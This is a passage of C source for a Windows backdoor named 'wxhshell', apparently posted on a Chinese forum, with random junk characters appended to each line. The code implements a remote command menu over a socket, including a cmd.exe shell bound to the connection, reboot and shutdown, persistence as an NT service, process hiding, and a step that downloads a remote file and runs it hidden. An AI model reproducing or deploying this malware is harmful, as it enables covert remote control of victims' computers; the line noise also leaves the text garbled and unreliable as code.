  } Fovah4q%V  
  else { bs)wxU`Q*  
\l /}` w  
    switch(cmd[0]) { -sJD:G,%  
  q&v~9~^}d  
  // 帮助 !10/M  
  case '?': { rmkBp_i{|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {X(nn.GpC  
    break; v8yCf7+"  
  } {*GBUv5  
  // 安装 _h}(j Ed!  
  case 'i': { oydP}X  
    if(Install()) =&UE67eK,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qX-5/;n  
    else `IwZVz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~//9Nz~;3  
    break; l%GArH`  
    } ~$T>,^K y  
  // 卸载 kGAgXtE  
  case 'r': { -%fj-Y7y  
    if(Uninstall()) )Wq1 af   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^il$t]X5-  
    else :h34mNU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v {HF}L  
    break; zi6J|u  
    } 6z U  
  // 显示 wxhshell 所在路径 n8;L_43U  
  case 'p': { ,%IP27bPW  
    char svExeFile[MAX_PATH]; dR\yRC]I  
    strcpy(svExeFile,"\n\r"); T]&?^QGAZ  
      strcat(svExeFile,ExeFile); 8el6z2  
        send(wsh,svExeFile,strlen(svExeFile),0); E<3xv;v8r  
    break; `0]N#G T  
    } GZrN,M  
  // 重启 ' abEY  
  case 'b': { }?mSMqnB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mq4Zy3H   
    if(Boot(REBOOT)) @PNgqjd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`Z3*?UqI  
    else { xJ/)*?@+  
    closesocket(wsh); =T2SJ)  
    ExitThread(0); aanS^t0  
    } oz=ULPZ%  
    break; 7_s+7x =  
    } B(s^(__]  
  // 关机 8TB|Y  
  case 'd': { X+A@//,7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8h=m()Eu  
    if(Boot(SHUTDOWN)) oZY|o0/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ss 5@n  
    else { +0%r@hTv&>  
    closesocket(wsh); 56s%Qlgx  
    ExitThread(0); AA,/AKikd  
    } nD eVYK  
    break; Het"x  
    } oA-,>:}g{  
  // 获取shell cb)7$S  
  case 's': { ,iao56`E  
    CmdShell(wsh); |-S!)iG1V  
    closesocket(wsh); [nVBnB  
    ExitThread(0); sv% E5@  
    break; 5<PNl~0  
  } Sq,>^|v4&e  
  // 退出 --l UEo~  
  case 'x': { y ]@JkF(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I(R%j]LX&  
    CloseIt(wsh); 6}R*7iM s  
    break; Qm3F=*)d  
    } d]sqj\Q57  
  // 离开 -n|>U:  
  case 'q': { c$ib-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V^Z5i]zT  
    closesocket(wsh); rM= :{   
    WSACleanup(); Lwi"K8.u  
    exit(1); ^TZmc{i  
    break; T$u'+* Xx  
        } xf;>o$oN0P  
  } UJqh~s  
  } YL|)`m0-^5  
084Us s  
  // 提示信息 T<Xw[PEnP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yu" Q  
} oCkG  
  } ].J;8}  
&D{!zF  
  return; ZlC+DXg#S  
} Hm'fK$y(  
b3>zdS]Q  
// shell模块句柄 ]\|2=  
int CmdShell(SOCKET sock) iupkb  
{ \`~YW<D  
STARTUPINFO si; ]3,9 ."^  
ZeroMemory(&si,sizeof(si)); {~9HJDcM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e{87n>+,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [8Y7Q5Had  
PROCESS_INFORMATION ProcessInfo; |Y}YhUI&  
char cmdline[]="cmd"; r@r*|50  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^(+q 1O'  
  return 0; Fl($0}ER  
} ba G_7>Q9H  
.up[wt gN  
// 自身启动模式 U'F}k0h?\'  
int StartFromService(void) dO2?&f  
{ <S7SH-{_\  
typedef struct ly34aD/p~,  
{ q 6UZ`9&z  
  DWORD ExitStatus; bl>W i@GL  
  DWORD PebBaseAddress; TE o  
  DWORD AffinityMask; ]s5e[iS  
  DWORD BasePriority; 9[VYd '  
  ULONG UniqueProcessId; ;0m J4G  
  ULONG InheritedFromUniqueProcessId; NX%1L! #  
}   PROCESS_BASIC_INFORMATION; XYP RMa?  
q j21#q .  
PROCNTQSIP NtQueryInformationProcess; Peph..8Z  
}a!|n4|`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `T+>E0H(f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;rT/gwg!  
>H;m[  
  HANDLE             hProcess; tx[;& ;  
  PROCESS_BASIC_INFORMATION pbi; _I;hM  
Eu&$Rq}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ) q'D9x9  
  if(NULL == hInst ) return 0; U1/I( w  
p2l@6\m\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ih5Y7<8b~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Bm{ctf#)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =/'>.p3/S  
<7ANXHuSW  
  if (!NtQueryInformationProcess) return 0; ` ~m/  
lU Zj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [g@qZ5I.  
  if(!hProcess) return 0; N e{=KdzT  
Gev\bQa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p#4*:rpq4  
SbX^DAlB1  
  CloseHandle(hProcess); 'q;MhnU+  
f eB ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3C!|!N1Hn  
if(hProcess==NULL) return 0; mIG>`7`7N  
um$U3'0e  
HMODULE hMod; r]xN&Ne5Q  
char procName[255]; N9d^;6;i  
unsigned long cbNeeded; [-l>f P0  
r0k :RJP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x1wD`r  
H(n fHp.3  
  CloseHandle(hProcess); WLU_t65  
*^]  
if(strstr(procName,"services")) return 1; // 以服务启动 ~2hzyEh  
X$u l=iBs  
  return 0; // 注册表启动 @ ^F{  
} kb~ s, @p  
1r.2bL*~jw  
// 主模块 @qcUxu4  
int StartWxhshell(LPSTR lpCmdLine) 9(HGe+R4o  
{ Em Ut/]  
  SOCKET wsl; ] g9SUFM  
BOOL val=TRUE; q'H6oD`  
  int port=0; |j'@no_rv  
  struct sockaddr_in door; Kk=>"?&  
V]Ccj\Oi  
  if(wscfg.ws_autoins) Install(); w-)JCdS6Tb  
{-7ovH?  
port=atoi(lpCmdLine); `R (N3  
VWdTnu  
if(port<=0) port=wscfg.ws_port; Tg@G-6u0c  
.Gr"| uII  
  WSADATA data; YSB> WBS-<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9({ 9r[U  
;6 d-+(@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ={o4lFe3v(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {c?{M.R  
  door.sin_family = AF_INET; ^|h_[>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2.);OFk+  
  door.sin_port = htons(port); .XK3o .ZhW  
MTE 1\,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1=+S'_j  
closesocket(wsl); I31Nu{  
return 1; D?Ol)aj?  
} ?T%"Jgy8  
0 nI*9  
  if(listen(wsl,2) == INVALID_SOCKET) { `3[W~Cq  
closesocket(wsl); py~[M'p(H  
return 1; {be|G^.c  
} A`vRUl,c=  
  Wxhshell(wsl); :SN?t  
  WSACleanup(); mg70%=qM0f  
j4@6`[n:  
return 0; |iSwG=&  
2XBHo (  
} vfc5M6Vm)<  
m>[G-~0?kI  
// 以NT服务方式启动 JT6Be8   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gz\wmH&rVz  
{ =Ldf#8J  
DWORD   status = 0; p|0SA=?k"  
  DWORD   specificError = 0xfffffff; >3p8o@:  
*hFJI9G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UDk H'x$=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <Cs9$J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uW}M1kq?+l  
  serviceStatus.dwWin32ExitCode     = 0; ):=8w.yC  
  serviceStatus.dwServiceSpecificExitCode = 0; Gyi0SM6v5&  
  serviceStatus.dwCheckPoint       = 0; 2WKIO|'  
  serviceStatus.dwWaitHint       = 0; tQxAZ0B^  
FDBNKQV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .gRb'  
  if (hServiceStatusHandle==0) return; h>xB"E|.  
z:O:g?A  
status = GetLastError(); b4KNIP7E  
  if (status!=NO_ERROR) 9ygNJX'~  
{ /NPx9cLW^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZW;Re5?DJ  
    serviceStatus.dwCheckPoint       = 0; 7S= ]@*  
    serviceStatus.dwWaitHint       = 0; [ryII hQ  
    serviceStatus.dwWin32ExitCode     = status; E'+z.~+  
    serviceStatus.dwServiceSpecificExitCode = specificError; xw~oR|`U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VD,g3B p  
    return; -yIx:*KI  
  } n ]l3 )u  
7we='L&R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /8dRql-Ne  
  serviceStatus.dwCheckPoint       = 0; M>BVnB_,-  
  serviceStatus.dwWaitHint       = 0; ms&5Bq+9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V+})$m*>  
} LsMq&a-j2  
qw|B-lT{:  
// 处理NT服务事件,比如:启动、停止 n%vmo f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "0>AefFd#  
{ |U~\;m@  
switch(fdwControl) &u2m6 r>W  
{ r5lPO*?Df  
case SERVICE_CONTROL_STOP: Fkqw #s(T  
  serviceStatus.dwWin32ExitCode = 0; u8x#XESR7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yi-)4#YN  
  serviceStatus.dwCheckPoint   = 0; "[_gRe*2  
  serviceStatus.dwWaitHint     = 0; !a%_A^t7  
  { =jG."o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ZZ6 (O  
  } K[V#Pj9  
  return; @9]TjZd  
case SERVICE_CONTROL_PAUSE: mX @xV*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *L<<S=g$2  
  break; FYg{IKg  
case SERVICE_CONTROL_CONTINUE: /I`-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k1D|Cpnp  
  break; VB+_ kR6Zv  
case SERVICE_CONTROL_INTERROGATE: zP!j {y4w  
  break; dHn,;Vv^6  
}; PMj!T \B|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $U^ Ms!'L  
} V1,4M_Z  
xiC.M6/  
// 标准应用程序主函数 @&Af [X4s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ){tT B  
{ gHH[QLD=I  
5cr\ JR  
// 获取操作系统版本 1R.6Xer  
OsIsNt=GetOsVer(); @zsqjm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F'@[ b   
k <LFH(  
  // 从命令行安装 A22'qgKm@  
  if(strpbrk(lpCmdLine,"iI")) Install(); dP/1E6*m  
sdQ "[`~2R  
  // 下载执行文件 *APTgXYR  
if(wscfg.ws_downexe) { -0*z"a9<p8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DL '{ rK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7*Gg#XQ>(  
} hus9Zv4  
?j8_j  
if(!OsIsNt) { YipL_&-  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bv}i#D  
HideProc(); {%Q+Pzl.  
StartWxhshell(lpCmdLine); w[;5]z  
} VF:<q  
else QyEoWKu;  
  if(StartFromService()) pc](  
  // 以服务方式启动 `jGG^w3  
  StartServiceCtrlDispatcher(DispatchTable); H$3:Ra+ S  
else 7Rr +Uzb(  
  // 普通方式启动 jxgs!B>   
  StartWxhshell(lpCmdLine); ?$H=n{iW  
J}VG4}L  
return 0; ]n4G]ybK%  
}
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只看该作者 1 发表于: 2006-10-10
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